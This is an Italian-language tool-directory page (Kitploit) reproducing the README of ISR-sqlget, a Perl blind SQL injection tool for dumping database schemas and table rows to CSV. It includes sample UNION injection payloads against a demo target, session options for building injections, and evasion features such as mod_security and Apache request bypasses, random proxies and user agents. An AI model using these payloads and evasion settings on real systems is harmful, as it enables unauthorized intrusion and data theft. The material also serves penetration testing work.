Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
isr-sqlget — ISR-sqlget È uno strumento di blind SQL injection sviluppato in Perl. | Kitploit
Strumenti/GitHubGitHub/infobyte/isr-sqlget
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget È uno strumento di blind SQL injection sviluppato in Perl.

Vedi Repository
141413 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |

..:: DESCRIZIONE

ISR-sqlget: è uno strumento di SQL injection blind sviluppato in Perl. Consente di ottenere gli schemi dei database e le righe delle tabelle. Usando una singola GET/POST puoi accedere silenziosamente alla struttura del database e usando una singola GET/POST puoi esportare ogni riga di tabella in un file di tipo csv.

Database supportati:

root@kitploit:~
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

Funzionalità di evasione:

root@kitploit:~
- Codifica Unicode Full-width/Half-width
- Bypass CR non standard di Apache
- Bypass di mod_security
- Trasformazione casuale delle richieste in maiuscolo
- PHP Magicquotes: codifica ogni stringa usando la funzione CHR del database o simile.
- Converti le richieste in valori esadecimali
- Evita la sostituzione dello spazio con /**/ o tab (\t)
- Evita la concatenazione non basata su || o + usando la funzione concat del database o simile.
- User-agent casuale
- Proxy-server casuale
- Ritardo casuale delle richieste

Funzionalità comuni:

root@kitploit:~
- Blacklist per lo scaricamento degli schemi di database
- Supporto per array di cookie
- Supporto SSL
- Supporto proxy server
- Informazioni del database esportate in formato csv

Reporting:

root@kitploit:~
- Graficazione della struttura del database per creare report esecutivi di impatto
richiede la libreria Graphviz (http://www.graphviz.org/)

..:: UTILIZZO

Lo strumento richiede le seguenti informazioni:

  • : Azione da eseguire?
  • : Dove?

Le possibili azioni sono:

root@kitploit:~
Primo:
1. Ottieni lo schema del database.

Poi:
2.a Ottieni le righe delle tabelle (formato csv).
2.b Ottieni lo schema grafico del database.

..:: Esempio:

Target: http://target.infobytesec.com/helloworld.php?id=

sorgente di helloworld.php:

"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

Leggi l'esempio di sessione (file di configurazione): ./helloworld.pm

Ottieni lo schema del database:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

Questo genera un file di schema locale in: ./template/helloworld.dbschema

Poi ottieni le righe delle tabelle:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

Nella directory "./datos/" avrai due file per ogni tabella come segue:

[sessionname].[database].[table].sql.html # sorgente html [sessionname].[database].[table].csv # valori separati da virgola

Nota che "./datos" può essere specificato con il parametro $conf::outputdb nel file di configurazione della sessione.

..:: Avanzato

Lo strumento usa un solo tipo di colonna text/varchar/etc nella query SQL SELECT. Usando le clausole UNION puoi ottenere "in quella colonna" tutto lo schema del database usando "[__]" come delimitatore.

Quando hai già salvato lo schema del database locale, potrai:

1.a Ottenere le righe delle tabelle: Usando la stessa tecnica puoi ottenere tutte le righe di ogni tabella del database, le colonne con tipi di dati non compatibili con il testo vengono trasformate in tipo testo usando le funzioni native del database.

1.b Ottieni il grafico dello schema del database.

Lo strumento usa per ogni azione un file di configurazione della sessione. Questo file di configurazione definisce i parametri necessari per sfruttare la SQL injection. Il parametro @conf::path specifica il modo in cui l'HTML grezzo viene analizzato per lavorare con lo strumento.

Dettagli dell'help:

Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Action: -c: Controlla il modulo del parser -t: Ottieni la pagina di test -a: Ottieni tutti i nomi dei database (solo mssql) -s: Ottieni le strutture dei database -d: Ottieni le informazioni dei database (formato csv) -g: Grafico della struttura del database (formato gif)

Options: -n: Nome della sessione -p: (Usa con l'azione -c, specifica la pagina sorgente per controllare il modulo); Default ./template/$SESSION.testpage -v: Verbose -h: Aiuto

-t: Usando il file di sessione ottieni una breve tabella di sistema dati da usare con l'azione "-c" per fare il parsing dell'HTML grezzo in seguito.

-c: Di default usa ./template/[session-name].testpage. Viene usato per sviluppare e testare il parser dell'HTML grezzo. Puoi scegliere un altro file html usando l'opzione "-p".

-a: Tutti i motori di database usano il seguente ordine per ottenere le righe delle tabelle: 1. "-s" ottieni la struttura (salva lo schema del database in un file locale). 2. "-d" ottieni i dati delle tabelle.

root@kitploit:~
A causa delle tabelle di sistema MSSQL dobbiamo aggiungere un passaggio precedente:
1. "-a" Ottieni tutti i nomi dei database di /schema/catalog (salva i nomi in un file locale).
2. "-s" ottieni la struttura (salva lo schema del database in un file locale).
3. "-d" ottieni i dati delle tabelle.

-s: ottieni la struttura (salva lo schema del database in un file locale).
-d: ottieni i dati delle tabelle.

-g: Usando il file di schema del database locale ottenuto in precedenza per ottenere lo schema grafico del database (formato gif)

-n: Specifica il nome del file di configurazione della sessione.

..:: Note

./pmschanges.txt: Usiamo una versione modificata di LWP, Net::HTTP che include metodi e specifiche CRLs Questo file spiega le modifiche.

./dbs/isr_*: Ogni modulo di database ha la variabile @space che specifica il tipo di spazio valido. Esempio: my @space=(' ',"\t","/**/"); #all spaces

..:: Opzioni del file di sessione:

@conf::path #Il parametro @conf::path specifica il modo in cui l'HTML grezzo viene analizzato per lavorare con lo strumento. #Usa codice Perl incorporato con HTML::TreeBuilder per fare il parsing dell'HTML grezzo. #La prima configurazione è un array ad albero con i nomi dei tag html necessari. L'ultimo nome di tag html viene elaborato con il codice Perl.

Vedi gli esempi in ./examples/ example[n].html session[n].pm

$conf::site #Sito in cui si trova l'applicazione vulnerabile

$conf::script #File script vulnerabile

$conf::method #Metodo 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (bypass del metodo apache)

$conf::inj #Parametri POST/GET con le clausole UNION #Usa variabili che successivamente verranno sostituite con le informazioni dinamiche.

root@kitploit:~
Variabili:
<VALUE> = Colonna usata per ottenere tutte le informazioni.
<TABLE> = Sezione delle tabelle.
<WHERE> = Sezione WHERE.
<TAIL>  = L'ultima parte della frase SQL.

Esempio: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";

$conf::where #Se devi aggiungere qualche eccezione nella tabella union devi usare questo #parametro perché alcune query sulla struttura del database hanno "WHERE" incluso

$conf::tail #L'ultima parte della frase SQL. $conf::param #Stile del parametro = Post style 1, Url style 0 Stile Post= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa

root@kitploit:~
Stile Url:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0

$conf::dbtype #Backend del database

root@kitploit:~
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql    
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)    
7 - Mimer (www.mimer.com)    
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)    
10 - Hsqldb (www.hsqldb.org)    
11 - SQLite    
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)    
20 - SQLBase (http://www.unify.com)

$conf::session #Nome della sessione (Devi usare lo stesso nome del file di configurazione della sessione senza estensione .pm) $conf::outputdb #Il percorso delle righe delle tabelle esportate

######### proxy $conf::proxy_host #Esempio di supporto proxy: 'http://user:pass@host:port/'; $conf::rproxy #Proxy casuale 1 abilita o 0 disabilita $conf::rproxyfile #File proxy casuale (Usa lo stesso formato di $conf::proxy_host)

######### filtri $conf::space #Evita spazio: 0 abilita lo spazio o 1 sostituisce lo spazio ' ' con tab '\t o #2 sostituisce lo spazio ' ' con commento '/**/'

$conf::apache_espace #Puoi specificare il valore dei CR nella richiesta HTTP/s

#Esempio:

CR apache validi (\x0b, \x0c, \x0d,)

$conf::apache_espace="\x0b,\x0c"; #init=\x0b e end=\x0c

Processa la richiesta HTTP GET/POST/XXX come "GET\x0b/script.php\x0cHTTP/1.0"

$conf::apache_espace_rnd=1; #combinazione casuale di CR 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Numero massimo casuale di caratteri #In questo esempio, randomizziamo i CR (0x0b, 0x0c, 0x0d) da 1 a 10: #Riferimento: http://www.osvdb.org/25837

$conf::mod_security #1 abilita il bypass di modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Riferimento: http://www.php-security.org/MOPB/BONUS-12-2007.html

$conf::full_width #1 abilita il bypass della codifica full-width $conf::ruseragent #1 abilita l'uso di un user agent casuale $conf::ruseragentfile #Elenco file user agent $conf::uagent #User agent predefinito $conf::delay #Ritardo tra le connessioni $conf::rdelay #1 abilita il ritardo massimo casuale tra le connessioni, usa $conf:delay come valore massimo. $conf::magicquotes #1 abilita l'evitamento di magicquotes (usa la funzione CHR o simile in ogni database) $conf::convertall_hex #1 trasforma ogni valore del parametro in formato esadecimale (%41,%61) $conf::rnd_uppercase #1 abilita la trasformazione casuale in maiuscolo.

######## filtri solo mssql $conf::scape_plas #1 abilita, usa la funzione CONCAT nel caso in cui lo script non possa ricevere '+' #(usata come concatenazione di stringhe) $conf::convertall_str #1 abilita la conversione di tutte le colonne in stringa (consigliato) $conf::scape_output_less #1 abilita Nel caso in cui lo script non possa inviare '|' usa una funzione del database per sostituirlo

######## filtri solo oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql $conf::scape_pipe #Usa la funzione CONCAT o simile nel caso in cui lo script non possa ricevere '|' (usata come concatenazione di stringhe)

nega il recupero dell'hash

$conf::deny_dbname #array che contiene i nomi dei database da non elaborare (blacklist) Valore di esempio = {'WMSYS' => 1, 'SYS' => 1 };

#Cookie $conf::cookie #1 abilita la gestione dei cookie come array @conf::cookies #array con i cookie da usare Valore di esempio = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });

#Opzioni grafiche (Maggiori informazioni nel help del modulo Perl GraphViz) $conf::graphdir = './graph/'; #La directory di destinazione dei file grafici $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= non rappresentare le colonne 1= rappresenta le colonne

..:: REQUISITI

1 - Moduli Perl: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz

2 - Librerie Progetto GraphViz (http://www.graphviz.org/)

..:: DOWNLOAD

http://www.infobytesec.com/development.html

..:: AUTORE Francisco Amato famato+at+infobytesec+dot+com

Scarica lo strumento